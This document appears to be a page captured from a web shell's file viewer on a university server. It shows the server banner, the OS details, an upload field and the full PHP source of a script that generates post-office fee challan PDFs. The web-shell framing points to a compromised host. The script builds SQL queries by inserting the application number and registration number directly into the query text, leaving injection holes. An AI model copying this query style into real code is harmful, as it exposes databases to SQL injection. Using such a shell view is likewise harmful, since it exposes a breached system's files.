0xV3NOMx
Linux ip-172-26-7-228 5.4.0-1103-aws #111~18.04.1-Ubuntu SMP Tue May 23 20:04:10 UTC 2023 x86_64



Your IP : 18.219.12.88


Current Path : /proc/thread-self/root/var/www/results/sdu/src/
Upload File :
Current File : //proc/thread-self/root/var/www/results/sdu/src/applicationFormReportPOSTOFFICE.php

<?php
	$main_src=substr($_SERVER['SCRIPT_FILENAME'],0,strlen($_SERVER['SCRIPT_FILENAME'])-7);
	$pdf_writer_class =$main_src."/tarka_pdf/fpdf.php";
	require_once($pdf_writer_class);
	require('rotation.php');
	require_once("applicationFormReport.php");
	
	class PostOfficeReport  extends PDF_Rotate
	{

		function DefaultConstructor($aobj_context)
		{
			$this->aobj_context=$aobj_context;
			$this->pdf=  new PDF_Rotate();
			//$this->pdf = new PDF_EAN13(); 
			$this->pdf=$this;
			$this->app_no=trim($this->aobj_context->mobj_data["app_no"]);
			$this->ip=$_SERVER["REMOTE_ADDR"];
			$get_date="select date_add(date_add(now(),INTERVAL 13 hour),interval 30 minute) as now_date";
			$obj=$this->aobj_context->mobj_db->GetRow($get_date);
			require_once("getnumword.php");
			$this->current_date=$obj[now_date];			
			$this->pdf->SetMargins(2,5,2);			
			$this->pdf->addPage('L');	
		}
 
		function formcolldata()
		{
			$get_coll_name="select FUNIVCODE, FUNIVNAME as 'FUNIVNAME',
				FUNIVADD1 as 'state', pdf_logo_path,ifnull(FEXAMAPPREQ,'F') as FEXAMAPPREQ, FSHORTUNIV From control";
			$lobj_get_coll_name=$this->aobj_context->mobj_db->GetRow($get_coll_name);
			$this->FUNIVCODE=$lobj_get_coll_name['FUNIVCODE'];
			$this->FUNIVNAME=$lobj_get_coll_name['FUNIVNAME'];
			$this->FSHORTUNIV=$lobj_get_coll_name['FSHORTUNIV'];
			$this->s_state=$lobj_get_coll_name['state'];
			$this->f_year=$lobj_get_coll_name['f_year'];
			$this->pdf_logo_path=$lobj_get_coll_name['pdf_logo_path'];
			$this->FEXAMAPPREQ=$lobj_get_coll_name['FEXAMAPPREQ'];
			$this->pdf_Postlogo_path="/img/post_logo.jpg";	
		}
		
		function GetBankDetails()
		{
			$get_data="SELECT  bank_name, acc_no, 	branch_name, 	branch_code, 	ifsc_code, 	cheque_favour, 	place,bank_charge
			FROM  acc_mas where payment_type='{$this->FPAYMENTYPE}'";
			$lobj_get_data= $this->aobj_context->mobj_db->GetRow($get_data);	
			$this->bank_name=$lobj_get_data['bank_name'];	
			$this->acc_no=$lobj_get_data['acc_no'];	
			$this->branch_name=$lobj_get_data['branch_name'];	
			$this->branch_code=$lobj_get_data['branch_code'];	
			$this->ifsc_code=$lobj_get_data['ifsc_code'];	
			$this->cheque_favour=$lobj_get_data['cheque_favour'];	
			$this->place=$lobj_get_data['place'];	
			$this->bank_charge=$lobj_get_data['bank_charge'];	
		}
		
		function GetData()
		{
			$get_app_no=" SELECT res_stud.FREGNO ,'' FRECPTNO,res_stud.FAPPDATE AS FRECPTDATE,res_stud.FTOTAL AS FTOTALFEE,
			res_stud.FPAYMENTYPE,'' FFEETYPE,'' FCATEGORY, degree.FEXAMNAME,
			DATE_FORMAT(FRVLASTDATE,'%d/%m/%Y') AS FRVLASTDATE,
			DATE_FORMAT(FRTLASTDATE,'%d/%m/%Y') AS FRTLASTDATE,
			DATE_FORMAT(FXEROXLASTDATE,'%d/%m/%Y') AS FXEROXLASTDATE,
			DATE_FORMAT(FCVLASTDATE,'%d/%m/%Y') AS FCVLASTDATE
			FROM res_stud,degree,res_fee 
			where res_stud.FDEGREE = degree.FDEGREE and res_stud.FEXAMNO = degree.FEXAMNO 
			AND res_stud.FREGNO = res_fee.FREGNO  AND res_stud.FEXAMNO = res_fee.FEXAMNO AND degree.FDEGREE = res_fee.FDEGREE  
			and res_stud.APPNO='{$this->app_no}' group by res_stud.APPNO ";
			$obj_get_app_no=$this->aobj_context->mobj_db->GetRow($get_app_no); 	
			$this->reg_no=$obj_get_app_no['FREGNO'];
			$this->FRECPTDATE=$obj_get_app_no['FRECPTDATE'];
			$this->FTOTALFEE=$obj_get_app_no['FTOTALFEE'];
			$this->FPAYMENTYPE=$obj_get_app_no['FPAYMENTYPE'];
			$this->FCATEGORY=$obj_get_app_no['FCATEGORY'];
			$this->FFEETYPE=$obj_get_app_no['FFEETYPE'];
			$this->FEXAMNAME=$obj_get_app_no['FEXAMNAME'];
			$this->FRVLASTDATE=$obj_get_app_no['FRVLASTDATE']; 
			$this->FRTLASTDATE=$obj_get_app_no['FRTLASTDATE'];
			$this->FCVLASTDATE=$obj_get_app_no['FCVLASTDATE'];
			$this->FXEROXLASTDATE=$obj_get_app_no['FXEROXLASTDATE'];
			$this->lastdate = $obj_get_app_no['last_date'];
			
			$get_other_details="select 	date_format(current_date,'%d/%m/%Y') as curr_date,FDEGREE,FCOLLCODE,FNAME,CONCAT(IFNULL(FCURRADD1,''),' ',FCURRADD2) AS s_address from student 
			where   FREGNO='{$this->reg_no}' ";	 
			$lobj_get_name = $this->aobj_context->mobj_db->GetRow($get_other_details);

			$this->college_code=$lobj_get_name['FCOLLCODE'];
			$this->degree=$lobj_get_name['FDEGREE'];
			$this->student_name=$lobj_get_name['FNAME'];
			$this->s_address=$lobj_get_name['s_address'];
			$this->curr_date=$lobj_get_name['curr_date'];
			$this->GetBankDetails();
		}
	 
		function WriteRect()
		{
			$width=96;
			$this->pdf->Rect(2,5,$width,200);
			$this->pdf->Rect(2+$width+2,5,$width,200);
			$this->pdf->Rect(2+$width+$width+4,5,$width,200);
			if(!empty($this->pdf_logo_path))
			{
			$img_logo_path=$this->aobj_context->main_src.$this->pdf_logo_path;
			$this->pdf->Image($img_logo_path,4,7,15);
			$this->pdf->Image($img_logo_path,$width+6,7,15);
			$this->pdf->Image($img_logo_path,$width+$width+7,7,15);
			}
			
			
			$width=96;
			$this->pdf->Rect(2,5,$width,200);
			$this->pdf->Rect(2+$width+2,5,$width,200);
			$this->pdf->Rect(2+$width+$width+4,5,$width,200);
			if(!empty($this->pdf_Postlogo_path))
			{
			$img_logo_path=$this->aobj_context->main_src.$this->pdf_Postlogo_path;
			$this->pdf->Image($img_logo_path,80,7,15);
			$this->pdf->Image($img_logo_path,$width+82,7,15);
			$this->pdf->Image($img_logo_path,$width+$width+85,7,15);
			}
			
			$this->pdf->setY(5);
		}	

		
		function formData($label)
		{
			$line_height=4;
			$width=96;
			$x_pos=2;
			if($this->pos==2)
			$x_pos=2+$width+2;
			if($this->pos==3)
			$x_pos=2+$width+2+$width+2;
			$jump_width=$width;
			if($this->pos==2)
			$jump_width=$width;
			else if($this->pos==3)
			$jump_width=$width;
			$this->pdf->SetX($x_pos);
			$this->old_y=$this->pdf->GetY();
			$this->pdf->SetFont('Times','B',9);
			$this->pdf->Cell($jump_width,$line_height,$this->FUNIVNAME,'0',1,'C');	
			
			$this->pdf->SetX($x_pos);
			$this->pdf->Cell($jump_width,$line_height,$this->s_state,'0',1,'C');	
			
			$this->pdf->SetFont('Times','BU',9);
			$this->pdf->SetX($x_pos);
			$this->pdf->Cell($jump_width,$line_height,'Payment Challan - '.$label,'0',1,'C');	
			$this->pdf->Ln(2);
			$this->pdf->SetFont('Times','B',9);	

			// Postal charges calculation.
			if($this->FUNIVCODE=="003")
			{
				if($this->FTOTALFEE <= 1500)
					$postal_charges = 20;
				else if($this->FTOTALFEE >1500 && $this->FTOTALFEE <=5000)
					$postal_charges = 30;
				else if($this->FTOTALFEE >5000 && $this->FTOTALFEE <=10000)
					$postal_charges = 40;
				else if($this->FTOTALFEE >10000 && $this->FTOTALFEE <=15000)
					$postal_charges = 50;
				else 
					$postal_charges = 60;
			}
			else if($this->FUNIVCODE=="026" || $this->FUNIVCODE=="034")
			{
				$postal_charges = 20;
			}
			
			//$this->barcodeNo = $this->app_no.$this->reg_no.str_pad($this->FTOTALFEE+$postal_charges,5, "0", STR_PAD_LEFT).$this->degree;
			$this->barcodeNo = $this->app_no.$this->reg_no.str_pad($this->FTOTALFEE+$postal_charges,5, "0", STR_PAD_LEFT);
				
			$this->pdf->SetX($x_pos+1);
			$this->pdf->Cell(($jump_width-2)*.35,$line_height,"National Biller ID ",'1',0,'L');	
			$this->pdf->Cell(($jump_width-2)*.65,$line_height,"{$this->FSHORTUNIV}",'1',1,'L');	
			$this->pdf->SetX($x_pos+1);
			
			$this->pdf->Cell(($jump_width-2)*.35,$line_height,"Reference No ",'1',0,'L');	
			$this->pdf->Cell(($jump_width-2)*.65,$line_height,"{$this->app_no}",'1',1,'L');	
			$this->pdf->SetX($x_pos+1);
			
			$this->pdf->Cell(($jump_width-2)*.35,$line_height,"Reg. No. ",'1',0,'L');	
			$this->pdf->Cell(($jump_width-2)*.65,$line_height,"{$this->reg_no}",'1',1,'L');	
			$this->pdf->SetX($x_pos+1);
			
			$this->pdf->Cell(($jump_width-2)*.35,$line_height,"Total Amount ",'1',0,'L');	
			$this->pdf->Cell(($jump_width-2)*.65,$line_height,"{$this->FTOTALFEE}/-",'1',1,'L');	
			$this->pdf->SetX($x_pos+1);
			
			$this->pdf->Cell(($jump_width-2)*.35,$line_height,"Degree ",'1',0,'L');	
			$this->pdf->Cell(($jump_width-2)*.65,$line_height,"{$this->degree}",'1',1,'L');	
			$this->pdf->Ln(2);
			$this->pdf->SetX($x_pos+1);
			$this->pdf->SetFont('Times','B',10);
			$tdd1_width=$jump_width*(0.25)-1;
			$tdd2_width=($jump_width)*.25 ;
			$tdd3_width=($jump_width)*.25 ;
			$tdd4_width=($jump_width)*.25-1;

			$this->pdf->Cell($tdd2_width,$line_height,"Course Fee",'1',0,'C');	
			$this->pdf->Cell($tdd3_width,$line_height,"Postal Charges",'1',0,'C');
			$this->pdf->Cell($tdd4_width,$line_height,"Total",'1',1,'C');
			
			$this->pdf->SetX($x_pos+1);
			$this->pdf->Cell($tdd2_width,$line_height,"Rs {$this->FTOTALFEE}/-",'1',0,'C');	
			
			
			$this->pdf->Cell($tdd3_width,$line_height,"Rs {$postal_charges}/-",'1',0,'C');
			
			$total=($this->FTOTALFEE+$postal_charges);
			$this->pdf->Cell($tdd4_width,$line_height,"Rs {$total}/-",'1',1,'C');
			
			$this->pdf->Ln(2);
			$this->pdf->SetX($x_pos+1);
			
			$this->pdf->Cell(($jump_width-2)*.18,$line_height,"Name       :",'0',0,'L');	
			$this->pdf->MultiCell($jump_width*.58,$line_height,$this->student_name,0,"L");
			
			//$this->pdf->Cell($jump_width,$line_height,"Name : {$this->student_name}",'0',1,'L');	

			$this->pdf->SetX($x_pos+1);
			$this->pdf->Cell(($jump_width-2)*.18,$line_height,"College    :",'0',0,'L');	
			$this->pdf->Cell($jump_width*.58,$line_height," {$this->college_code}",'0',1,'L');	
			
			$this->pdf->SetX($x_pos+1);
			$this->pdf->Cell(($jump_width-2)*.18,$line_height,"Category :",'0',0,'L');	
			$this->pdf->Cell($jump_width*.58,$line_height," {$this->FCATEGORY}",'0',1,'L');	

			$this->pdf->SetX($x_pos+1);
			$this->pdf->Cell(($jump_width-2)*.18,$line_height,"Fee Type :",'0',0,'L');	
			$this->pdf->Cell($jump_width*.58,$line_height," {$this->FFEETYPE}",'0',1,'L');	
			
			$this->pdf->SetX($x_pos+1);
			$this->pdf->Cell(($jump_width-2)*.18,$line_height,"Exam       :",'0',0,'L');	
			$this->pdf->Cell($jump_width*.58,$line_height," {$this->FEXAMNAME} ",'0',1,'L');	
			
			$this->pdf->SetX($x_pos+1);
			$this->pdf->Cell(($jump_width-2)*.18,$line_height,"Remarks  :",'0',0,'L');	
			$this->pdf->Cell($jump_width*.58,$line_height," RV / RT / CV / Photocopy ",'0',1,'L');	
			if($this->FRVLASTDATE != '00/00/0000')
			{
				$this->pdf->SetX($x_pos+1);
				$this->pdf->Cell(($jump_width-2)*.25,$line_height,"RV Lastdate  :",'0',0,'L');
				$this->pdf->Cell($jump_width*.58,$line_height, "{$this->FRVLASTDATE}",'0',1,'L');
			}
			if($this->FRTLASTDATE != '00/00/0000')
			{
				$this->pdf->SetX($x_pos+1);
				$this->pdf->Cell(($jump_width-2)*.25,$line_height,"RT Lastdate  :",'0',0,'L');
				$this->pdf->Cell($jump_width*.58,$line_height, "{$this->FRTLASTDATE}",'0',1,'L');
			}
			if($this->FCVLASTDATE != '00/00/0000')
			{
				$this->pdf->SetX($x_pos+1);
				$this->pdf->Cell(($jump_width-2)*.25,$line_height,"CV Lastdate  :",'0',0,'L');
				$this->pdf->Cell($jump_width*.58,$line_height, "{$this->FCVLASTDATE}",'0',1,'L');
			}
			if($this->FXEROXLASTDATE != '00/00/0000')
			{
				$this->pdf->SetX($x_pos+1);
				$this->pdf->Cell(($jump_width-2)*.25,$line_height,"XR Lastdate  :",'0',0,'L');
				$this->pdf->Cell($jump_width*.58,$line_height, "{$this->FXEROXLASTDATE}",'0',1,'L');
			}
			$this->pdf->SetX($x_pos+1);
			$this->pdf->Rotate(90,$x_pos+108,90);
			$this->pdf->Cell($jump_width,$line_height,$this->pdf->Code39($x_pos+5,58,$this->barcodeNo),'0',1,'L');	
			$this->pdf->Rotate(0);
			$this->pdf->Ln(2);
			
			$this->pdf->ln(30);
			$this->pdf->SetX($x_pos+1);
			$this->pdf->Cell($jump_width,$line_height,"Date                                   Signature of Remitter",'0',1,'L');			 
			
			//$this->pdf->Cell($td1_width,$line_height,"Date",'0',0,'L');			 
			//$this->pdf->Cell($td2_width-16,$line_height,"Signature of Remitter    ",'0',1,'R');
							
			$this->pdf->ln(20);
			$this->pdf->SetX($x_pos+1);
			$this->pdf->Cell($jump_width,$line_height,"Date & Seal                      Signature of Receiver",'0',1,'L');			 
			
			//$this->pdf->Cell($td1_width,$line_height,"Date & Seal",'0',0,'L');			 
			//$this->pdf->Cell($td2_width-18,$line_height,"Signature of Receiver   ",'0',1,'R');
			$this->pdf->SetFont('Times','',9);
		 	$this->pdf->Ln(5);			
			$this->pdf->SetX($x_pos+1);
			if($this->FUNIVCODE=="026")
			{
				$this->pdf->MultiCell($jump_width-20,$line_height,'Note: 1. Payment accepted at all e payment Post Offices across the state.',0,"L");
			}
			else
			{
				$this->pdf->MultiCell($jump_width-20,$line_height,'Note: 1. Payments will be accepted in Post Offices under Mandya Division.',0,"L");
			}		

			$this->pdf->SetX($x_pos+1);

			$this->pdf->MultiCell($jump_width-20,$line_height,"2. Confirm your payment in www.karnatakapost.gov.in after 2 days of payment.",'0','L');				
			
			$this->pdf->SetY($this->old_y);
		 
			$img_path=$this->aobj_context->main_src.$this->photo_path;
		}	
		
		function SendOutput()
		{
			$this->pdf->Output("application_letter_{$this->app_no}.pdf","D");
		}
		
		 
	}
	
	function PrintApplicationFormPOSTOFFICE($aobj_context)
	{
		$aobj_context->mobj_db->SetFetchMode(ADODB_FETCH_ASSOC);
		$class_obj=new PostOfficeReport();
		$class_obj->DefaultConstructor($aobj_context);
		$class_obj->formcolldata();
		$class_obj->GetData();
		$class_obj->WriteRect();
		$class_obj->pos = 1;
		$class_obj->formData("Post Office Copy");
		$class_obj->pos = 2;
		$class_obj->formData("College Copy");
		$class_obj->pos = 3;
		$class_obj->formData("Student Copy"); 
		$class_obj1=new applicationFormReport();
		$class_obj1->DefaultConstructorOther($aobj_context);
		$class_obj1->pdf=$class_obj->pdf;
		$class_obj1->formcolldata();
		$class_obj1->GetFullQry();
		$class_obj1->formData();
		$class_obj1->GetQry();
		$class_obj1->FooterManual();
		$class_obj->SendOutput();
	}
?>